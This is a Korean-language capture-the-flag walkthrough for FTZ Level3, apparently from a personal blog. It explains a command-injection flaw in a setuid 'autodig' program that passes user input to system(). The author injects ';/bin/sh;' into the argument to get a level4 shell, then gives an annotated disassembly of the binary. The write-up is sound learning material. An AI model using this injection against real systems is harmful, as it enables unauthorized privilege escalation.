FTZ Level3

[level3@ftz level3]$ cat hint

 

 

다음 코드는 autodig의 소스이다.

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main(int argc, char **argv){

 

char cmd[100];

 

if( argc!=2 ){

printf( "Auto Digger Version 0.9\n" );

printf( "Usage : %s host\n", argv[0] );

exit(0);

}

 

strcpy( cmd, "dig @" );

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");

 

system( cmd );

 

}

 

이를 이용하여 level4의 권한을 얻어라.

 

more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

 

이번 문제는 DNS서버로부터 정보를 가져올수 있는 툴 dig를 이용해 문제를 풀어야 한다

 

그리고 힌트를 두 개 제시한다

 

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

 

동시에 여러 명령어를 사용하기 위한 것은 파이프( | ), 세미콜론( ; ) 이 있다

 

그리고 문자열 형태로 명령어를 전달하는 것이라는 힌트는 아마도 더블 쿼티( " " )일거라 생각된다

 

나는 개인적으로 혼란이 왔다 매번 느끼지만 멘붕이다 이거 가지고 뭘 하란건지

 

일단 하던대로 find부터 했다

 

[level3@ftz level3]$ find / -user level4 -perm +4000 2>/dev/null

/bin/autodig

[level3@ftz level3]$ ls -l /bin/autodig

-rwsr-x--- 1 level4 level3 12194 9월 10 2011 /bin/autodig

 

파일이 나왔다 이 파일의 소스를 분석해보자

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main(int argc, char **argv){

 

char cmd[100];

 

if( argc!=2 ){                // 인자가 2개가 아니면 다음을 실행하고 종료

printf( "Auto Digger Version 0.9\n" );

printf( "Usage : %s host\n", argv[0] );

exit(0);

}

 

strcpy( cmd, "dig @" );            

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");        "dig @ argv[1] version.bind chaos txt"

 

system( cmd );                cmd배열의 값을 실행

 

}

 

잘은 모르겠지만 dig명령어를 문구를 붙여서 실행하는 프로그램 같다

 

일단 dig를 사용해야 하며 쉘을 띄워야 하고 음..그래서 더블 쿼티와 세미콜론을 사용해 봤다

 

[level3@ftz level3]$ /bin/autodig "8.8.8.8;/bin/sh"

 

; <<>> DiG 9.2.1 <<>> @8.8.8.8

;; global options: printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18914

;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0

 

;; QUESTION SECTION:

;.                IN    NS

 

;; ANSWER SECTION:

.            16975    IN    NS    a.root-servers.net.

.            16975    IN    NS    b.root-servers.net.

.            16975    IN    NS    c.root-servers.net.

.            16975    IN    NS    d.root-servers.net.

.            16975    IN    NS    e.root-servers.net.

.            16975    IN    NS    f.root-servers.net.

.            16975    IN    NS    g.root-servers.net.

.            16975    IN    NS    h.root-servers.net.

.            16975    IN    NS    i.root-servers.net.

.            16975    IN    NS    j.root-servers.net.

.            16975    IN    NS    k.root-servers.net.

.            16975    IN    NS    l.root-servers.net.

.            16975    IN    NS    m.root-servers.net.

 

;; Query time: 49 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Sat Nov 8 19:08:32 2014

;; MSG SIZE rcvd: 228

 

version.bind: version.bind: 그런 파일이나 디렉토리가 없음

 

다음과 같이 뜬다

 

뭐가 문제일까

 

나중에 결과를 검색해서 본거지만 명령어 마지막에 더블쿼티틀 닫기 전에 세미콜론을 한번 더 넣어야 한다는걸 알았다

 

물론 이 방법 말고도 많은 방법이 있다

 

다음과 같이 실행했다

 

[level3@ftz level3]$ /bin/autodig "8.8.8.8;/bin/sh;"

 

; <<>> DiG 9.2.1 <<>> @8.8.8.8

;; global options: printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31636

;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0

 

;; QUESTION SECTION:

;.                IN    NS

 

;; ANSWER SECTION:

.            16761    IN    NS    f.root-servers.net.

.            16761    IN    NS    k.root-servers.net.

.            16761    IN    NS    b.root-servers.net.

.            16761    IN    NS    j.root-servers.net.

.            16761    IN    NS    l.root-servers.net.

.            16761    IN    NS    h.root-servers.net.

.            16761    IN    NS    m.root-servers.net.

.            16761    IN    NS    g.root-servers.net.

.            16761    IN    NS    c.root-servers.net.

.            16761    IN    NS    a.root-servers.net.

.            16761    IN    NS    i.root-servers.net.

.            16761    IN    NS    e.root-servers.net.

.            16761    IN    NS    d.root-servers.net.

 

;; Query time: 58 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Sat Nov 8 19:12:04 2014

;; MSG SIZE rcvd: 228

 

sh-2.05b$

 

쉘이 떴다 id를 입력해봤다

 

sh-2.05b$ id

uid=3004(level4) gid=3003(level3) groups=3003(level3)

 

권한이 상승됐다

 

이로써 level4를 클리어했다

 

다음은 /bin/autodig를 디버깅한 것이다

 

0x08048430 <main+0>:    push ebp

0x08048431 <main+1>:    mov ebp,esp

0x08048433 <main+3>:    sub esp,0x78            //스택 프레임 120바이트 할당

--------------------------------------------------------------------------------------------------------------

0x08048436 <main+6>:    and esp,0xfffffff0

0x08048439 <main+9>:    mov eax,0x0

0x0804843e <main+14>:    sub esp,eax

0x08048440 <main+16>:    cmp DWORD PTR [ebp+8],0x2        //인자가 2개가 아닐시

0x08048444 <main+20>:    je 0x8048475 <main+69>    "Auto Digger Version 0.9\n"

0x08048446 <main+22>:    sub esp,0xc            "Usage : %s host\n"

0x08048449 <main+25>:    push 0x8048588        를 출력하고 exit함수 실행 후 종료

0x0804844e <main+30>:    call 0x8048340 <printf>

0x08048453 <main+35>:    add esp,0x10

0x08048456 <main+38>:    sub esp,0x8

0x08048459 <main+41>:    mov eax,DWORD PTR [ebp+12]

0x0804845c <main+44>:    push DWORD PTR [eax]

0x0804845e <main+46>:    push 0x80485a1

0x08048463 <main+51>:    call 0x8048340 <printf>

0x08048468 <main+56>:    add esp,0x10

0x0804846b <main+59>:    sub esp,0xc

0x0804846e <main+62>:    push 0x0

0x08048470 <main+64>:    call 0x8048360 <exit>

0x08048475 <main+69>:    sub esp,0x8

--------------------------------------------------------------------------------------------------------------

0x08048478 <main+72>:    push 0x80485b2

0x0804847d <main+77>:    lea eax,[ebp-120]

0x08048480 <main+80>:    push eax

0x08048481 <main+81>:    call 0x8048370 <strcpy>

0x08048486 <main+86>:    add esp,0x10

0x08048489 <main+89>:    sub esp,0x8

0x0804848c <main+92>:    mov eax,DWORD PTR [ebp+12] dig @ argv[1] version.bind chaos txt

0x0804848f <main+95>:    add eax,0x4            를 실행

0x08048492 <main+98>:    push DWORD PTR [eax]

0x08048494 <main+100>:    lea eax,[ebp-120]

0x08048497 <main+103>:    push eax

0x08048498 <main+104>:    call 0x8048330 <strcat>

0x0804849d <main+109>:    add esp,0x10

0x080484a0 <main+112>:    sub esp,0x8

0x080484a3 <main+115>:    push 0x80485b8

0x080484a8 <main+120>:    lea eax,[ebp-120]

0x080484ab <main+123>:    push eax

0x080484ac <main+124>:    call 0x8048330 <strcat>

0x080484b1 <main+129>:    add esp,0x10

0x080484b4 <main+132>:    sub esp,0x8

--------------------------------------------------------------------------------------------------------------

0x080484b7 <main+135>:    push 0xbbc

0x080484bc <main+140>:    push 0xbbc

0x080484c1 <main+145>:    call 0x8048350 <setreuid>    //setreuid(3004,3004) 실행

0x080484c6 <main+150>:    add esp,0x10

0x080484c9 <main+153>:    sub esp,0xc

--------------------------------------------------------------------------------------------------------------

0x080484cc <main+156>:    lea eax,[ebp-120]

0x080484cf <main+159>:    push eax

0x080484d0 <main+160>:    call 0x8048310 <system> system(cmd) 실행

---Type <return> to continue, or q <return> to quit---

0x080484d5 <main+165>:    add esp,0x10

0x080484d8 <main+168>:    leave

0x080484d9 <main+169>:    ret

0x080484da <main+170>:    nop

0x080484db <main+171>:    nop